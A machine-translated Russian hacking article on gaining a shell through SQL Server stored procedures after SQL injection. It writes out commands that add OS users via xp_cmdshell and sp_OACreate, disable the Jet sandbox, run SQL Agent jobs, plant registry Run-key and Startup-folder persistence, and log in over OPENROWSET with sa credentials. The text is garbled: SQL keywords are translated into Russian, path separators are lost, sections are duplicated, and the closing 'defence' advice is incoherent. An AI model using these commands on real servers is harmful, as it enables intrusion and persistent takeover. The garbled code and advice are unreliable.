SQL Server — это база данных, широко используемая веб-сайтами малого и среднего размера. Из-за своих мощных функций она также вызывает множество проблем с безопасностью. В Китае уже давно популярны атаки с использованием SQL-кода, что приводит к бесконечному потоку методов вторжения. для SQL Server. Поскольку SQL Server поддерживает несколько операторов, я считаю, что многие хакеры редко используют такие методы, как угадывание имен таблиц при внедрении SQL в SQL Server, а напрямую обращаются к использованию хранимых процедур и функций SQL Server для быстрого получения разрешений. сосредоточьтесь на хранимых процедурах и функциях SQL Server, чтобы представить эти хаки.
1. Выполнить системные команды
Используя хранимые процедуры, мы можем быстро и легко получить оболочку, например, для выполнения системных команд. Вызов расширения хранилища выглядит следующим образом:
exec master..xp_cmdshell 'net user ray ray/add'
xp_cmdshell — это хранимая процедура системной команды, поставляемая с SQL Server. По умолчанию ее может выполнять только роль сервера SYSADMIN.
Используя интерфейс объекта OLE, SQL SERVER предоставляет некоторые функции для доступа к объектам OLE, а именно sp_OACREATE и sp_OAMethod. Их можно использовать для вызова элементов управления OLE и косвенного получения оболочки. Используйте SP_OAcreate для вызова объекта wscript. Shell присваивается переменной @shell, а затем использует SP_OAMETHOD для вызова атрибута run @shell для выполнения команды.
ОБЪЯВИТЬ @shell INT
EXEC SP_OAcreate 'wscript.shell', @shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray/add'
Включите режим доступа «песочница». По умолчанию подсистема данных Jet не поддерживает операторы SQL, такие как select Shell («net user ray /add»). Однако после включения режима «песочницы» подсистемы JET вы можете это сделать. выполнение команд. Первое использование Хранимая процедура xp_regwrite перезаписывает реестр, затем использует OpenRowSet для доступа к файлу базы данных ACCESS, который поставляется вместе с самой системой, а затем выполняет оператор SQL для запуска команды.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select Shell("net user ray ray /add")');
В дополнение к этому вы также можете использовать агент SQL для выполнения команд. Конечно, вы должны сначала открыть службу агента SQL. Эта служба по умолчанию закрыта. Мы можем сначала использовать xp_servicecontrol, чтобы открыть SQLSERVERAGENT, а затем создать запланированную задачу SQL. а затем немедленно запустите задачу.
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
используйте msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[Вырезанная страница]
2. Напишите произвольные файлы для выполнения команд.
Используйте xp_regwrite для записи записи реестра и непосредственно записывайте команду, которая будет выполнена, в запись запуска RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Резервное копирование журналов в элементы автозагрузки
Мы можем включить режим полного восстановления базы данных, затем создать новую таблицу, вставить команду для резервного копирования в журнал и, наконец, создать резервную копию журнала в пакетном файле в папке запуска пользователя. Этот файл будет запущен после этого. машина перезапускается.
изменить базу данных msdb, установить RECOVERY FULL --
создать таблицу cmd (изображение) --
резервное копирование журнала msdb на диск = 'c:cmd1' с помощью init--
вставляем в cmd(a) значения()--
резервное копирование журнала ISTO на диск = 'C:Documents and SettingsAll UsersStart MenuProgramsStartup1.bat'--
удалить таблицу cmd--
3. Пользователи с произвольными разрешениями могут выполнять команды.
В роли сервера с любыми разрешениями мы можем использовать макрос OPENROWSET для выполнения команд, если мы знаем учетную запись и пароль роли SYSADMIN сервера.
выберите * из OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Вырезанная страница]
4. Прочее получение системной информации.
Обход каталога
exec master.dbo.xp_dirtree 'c:'
Получить подкаталог
exec master.dbo.xp_subdirs 'c:'
Список доступных системных разделов
exec master.dbo.xp_availablemedia
Определить, существует ли каталог или файл
exec master..xp_fileexist 'c:boot.ini'
5. Существуют способы защиты от SQL-инъекций
1. Измените структуру таблицы. Измените тип данных поля учетной записи администратора, изменив тип текста на максимальное поле 255 (на самом деле достаточно, если вы хотите сделать его больше, вы можете выбрать тип заметки), и таким же образом установите поле пароля.
2. Измените таблицу. Установите учетную запись с правами администратора в ID1 и введите большое количество китайских иероглифов, желательно более 100 символов.
3. Поместите настоящий пароль администратора в любую позицию после ID2.
Мы завершили модификацию базы данных, выполнив три вышеуказанных шага.
Завершено ли изменение на данный момент? На самом деле это не так. Вы должны понимать, что созданная вами учетная запись ID1 на самом деле является учетной записью с реальными разрешениями. Теперь скорость обработки компьютера очень высока. посчитать, это не правильно. Я думаю, что большинство людей уже придумали способ. Да, просто напишите ограничение на количество символов в файле страницы входа администратора. Даже если другая сторона использует пароль этой учетной записи с тысячами символов, он будет заблокирован, и настоящие пароли могут быть заблокированы! неограниченный.
[Вырезанная страница]2. Напишите произвольные файлы для выполнения команд.
Используйте xp_regwrite для записи записи реестра и непосредственно записывайте команду, которая будет выполнена, в запись запуска RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Резервное копирование журналов в элементы автозагрузки
Мы можем включить режим полного восстановления базы данных, затем создать новую таблицу, вставить команду для резервного копирования в журнал и, наконец, создать резервную копию журнала в пакетном файле в папке запуска пользователя. Этот файл будет запущен после этого. машина перезапускается.
изменить базу данных msdb, установить RECOVERY FULL --
создать таблицу cmd (изображение) --
резервное копирование журнала msdb на диск = 'c:cmd1' с помощью init--
вставляем в cmd(a) значения()--
резервное копирование журнала ISTO на диск = 'C:Documents and SettingsAll UsersStart MenuProgramsStartup1.bat'--
удалить таблицу cmd--
3. Пользователи с произвольными разрешениями могут выполнять команды.
В роли сервера с любыми разрешениями мы можем использовать макрос OPENROWSET для выполнения команд, если мы знаем учетную запись и пароль роли SYSADMIN сервера.
выберите * из OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')